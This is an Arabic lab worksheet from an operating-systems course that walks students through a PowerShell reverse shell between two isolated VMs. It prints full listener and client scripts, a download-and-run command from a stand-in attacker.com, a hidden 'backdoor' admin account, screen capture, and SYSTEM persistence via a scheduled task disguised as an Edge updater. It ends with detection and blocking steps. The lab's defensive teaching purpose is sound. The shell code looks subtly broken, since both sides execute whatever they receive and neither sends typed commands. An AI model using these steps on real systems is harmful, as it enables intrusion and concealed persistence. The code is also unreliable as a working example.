المختبر 3.2: Reverse Shell والتحكم عن بعد
الأهداف التعليمية
في نهاية هذا المختبر، ستكون قادرًا على:
- فهم مفهوم reverse shell
- إنشاء اتصال reverse shell بين جهازين
- تنفيذ الأوامر عن بعد
- نقل الملفات بين الأجهزة
- تحديد وحظر reverse shells
- فهم كيفية تواصل البرمجيات الخبيثة مع خادم C&C الخاص بها
المدة المقدرة
30 دقيقة
المتطلبات المسبقة
- 2 VMs Windows (أو 1 Windows + 1 Kali)
- شبكة داخلية VirtualBox مهيأة
- PowerShell
السياق المهني
يتم استخدام reverse shells من قبل:
- مختبري الاختراق لاختبار أمان الشبكة
- المسؤولين للدعم عن بعد
- البرمجيات الخبيثة للتحكم عن بعد (RAT)
- APT للحفاظ على الوصول طويل الأمد
⚠️ تحذير أخلاقي وقانوني
مسموح: على VMs الخاصة بك للاختبار فقط، شبكة معزولة
ممنوع: على الأنظمة غير المصرح بها، الوصول غير المصرح به
العواقب: جريمة خطيرة - سجن وغرامات ضخمة
الجزء 1: إعداد المختبر
الخطوة 1.1: الهيكلية
VM1: المهاجم
IP: 192.168.100.10
المنفذ: 4444 (استماع)
VM2: الضحية
IP: 192.168.100.20
اتصال بـ VM1
الخطوة 1.2: إعداد الشبكة
على VM1 و VM2:
الإعدادات → الشبكة → شبكة داخلية "LabNet"
PowerShell - إعداد IP:
# VM1
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.10 -PrefixLength 24
# VM2
New-NetIPAddress -InterfaceAlias "Ethernet" -IPAddress 192.168.100.20 -PrefixLength 24
اختبار:
ping 192.168.100.20
الجزء 2: طريقة PowerShell (الأصلية)
الخطوة 2.1: VM1 - المستمع
على VM1 (المهاجم)، احفظ listener.ps1:
Write-Host "=== REVERSE SHELL LISTENER ===" -ForegroundColor Cyan
Write-Host "استماع على المنفذ 4444..." -ForegroundColor Yellow
$listener = New-Object System.Net.Sockets.TcpListener('0.0.0.0',4444)
$listener.Start()
$client = $listener.AcceptTcpClient()
$stream = $client.GetStream()
Write-Host "تم استقبال الاتصال!" -ForegroundColor Green
Write-Host "IP: $($client.Client.RemoteEndPoint)" -ForegroundColor Yellow
Write-Host ""
[byte[]]$bytes = 0..65535|%{0}
$sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell`nPS " + (pwd).Path + "> ")
$stream.Write($sendbytes,0,$sendbytes.Length)
$stream.Flush()
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String)
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback + "PS " + (pwd).Path + "> "
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
$listener.Stop()
Write-Host "تم إغلاق الاتصال" -ForegroundColor Red
نفذ:
powershell -ExecutionPolicy Bypass -File listener.ps1
انتظر الاتصال...
الخطوة 2.2: VM2 - العميل (الضحية)
على VM2، احفظ reverse.ps1:
$client = New-Object System.Net.Sockets.TCPClient('192.168.100.10',4444)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0) {
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
try {
$sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )
} catch {
$sendback = "Error: $_`n"
}
$sendback2 = $sendback
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
نفذ:
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
الخطوة 2.3: تم إنشاء الاتصال!
على VM1، سترى الآن:
=== REVERSE SHELL LISTENER ===
استماع على المنفذ 4444...
تم استقبال الاتصال!
IP: 192.168.100.20:54321
PS C:\Users\Attaquant>
اكتب الأوامر:
whoami
hostname
Get-Process
Get-LocalUser
Get-ChildItem C:\Users
Get-NetTCPConnection
systeminfo
بوم! تحكم كامل في VM2 من VM1!
أسئلة:
- هل تم إنشاء الاتصال؟
- هل يمكنك تنفيذ أوامر PowerShell؟
- كم من الوقت استغرق الإنشاء؟
الجزء 3: إجراءات متقدمة
الخطوة 3.1: نقل الملفات
تحميل ملف من الضحية:
# على VM1 (من الشل)
Get-Content C:\Users\Victime\Desktop\secret.txt
إنشاء ملف على الضحية:
"لقد تم اختراقك!" | Out-File C:\Users\Public\pwned.txt
تحميل وتنفيذ سكريبت:
Invoke-WebRequest -Uri "http://attacker.com/tool.ps1" -OutFile C:\temp\tool.ps1
. C:\temp\tool.ps1
الخطوة 3.2: إنشاء مستخدم Backdoor
من الشل على VM2:
net user backdoor P@ssw0rd123! /add
net localgroup Administrateurs backdoor /add
لقد أنشأت حساب مدير دائم!
الخطوة 3.3: لقطة شاشة عن بعد
التقاط شاشة الضحية:
Add-Type -AssemblyName System.Windows.Forms
$screen = [System.Windows.Forms.Screen]::PrimaryScreen.Bounds
$bitmap = New-Object System.Drawing.Bitmap($screen.Width, $screen.Height)
$graphics = [System.Drawing.Graphics]::FromImage($bitmap)
$graphics.CopyFromScreen($screen.Location, [System.Drawing.Point]::Empty, $screen.Size)
$bitmap.Save("C:\Users\Public\screenshot.png")
النتيجة: تم حفظ لقطة الشاشة!
أسئلة: 4. هل نجحت في إنشاء حساب مستخدم؟ 5. هل تعمل لقطة الشاشة؟
الجزء 4: الاستمرارية
الخطوة 4.1: مهمة مجدولة تلقائية
على VM2، أنشئ الاستمرارية:
$action = New-ScheduledTaskAction -Execute "powershell.exe" `
-Argument "-WindowStyle Hidden -ExecutionPolicy Bypass -File C:\Windows\Temp\reverse.ps1"
$trigger = New-ScheduledTaskTrigger -AtStartup
$principal = New-ScheduledTaskPrincipal -UserId "SYSTEM" -RunLevel Highest
Register-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" `
-Action $action -Trigger $trigger -Principal $principal
اختبر:
- أعد تشغيل VM2
- VM1 يشغل المستمع
- اتصال تلقائي!
أسئلة: 6. هل تعمل الاستمرارية بعد إعادة التشغيل؟ 7. هل المهمة مرئية للمستخدم العادي؟
الجزء 5: الكشف والدفاع
الخطوة 5.1: اكتشاف الاتصالات النشطة
Get-NetTCPConnection | Where-Object {$_.State -eq "Established" -and $_.RemoteAddress -ne "127.0.0.1"} |
Select-Object LocalAddress,LocalPort,RemoteAddress,RemotePort,OwningProcess,@{
Name="ProcessName"
Expression={(Get-Process -Id $_.OwningProcess).Name}
} | Format-Table
مشتبه به: powershell.exe مع اتصال خارجي!
الخطوة 5.2: الحظر باستخدام الجدار الناري
New-NetFirewallRule -DisplayName "Block PowerShell Outbound" `
-Direction Outbound `
-Program "%SystemRoot%\System32\WindowsPowerShell\v1.0\powershell.exe" `
-Action Block
الخطوة 5.3: إزالة الاستمرارية
Unregister-ScheduledTask -TaskName "MicrosoftEdgeUpdateCore" -Confirm:$false
Get-Process powershell | Where-Object {$_.CommandLine -like "*reverse*"} | Stop-Process -Force
أسئلة: 8. هل اكتشفت reverse shell؟ 9. هل يعمل حظر الجدار الناري؟
التسليمات
-
وثيقة تقنية (3-4 صفحات):
- إجابات على الأسئلة التسعة
- مخطط هيكلية الشبكة
- لقطات شاشة من الشل النشط
-
تحليل أمني (2 صفحات):
- الكشف في المؤسسة
- إجراءات الوقاية
أوامر مرجعية
# المستمع (VM1)
powershell -ExecutionPolicy Bypass -File listener.ps1
# العميل (VM2)
powershell -WindowStyle Hidden -ExecutionPolicy Bypass -File reverse.ps1
# الكشف
Get-NetTCPConnection | Where State -eq "Established"
Get-Process powershell
# الحظر
New-NetFirewallRule -DisplayName "Block" -Direction Outbound -Program "powershell.exe" -Action Block
الخاتمة
الدروس الرئيسية:
- Reverse shell = تحكم كامل عن بعد
- يتجاوز الجدار الناري بسهولة
- PowerShell = قوي جدًا
- الاستمرارية = وصول دائم
- الكشف ممكن مع مراقبة الشبكة
الرسالة: مراقبة الشبكة الصادرة ضرورية في المؤسسة!
تم تطوير المختبر في إطار دورة نظم التشغيل - الوحدة 3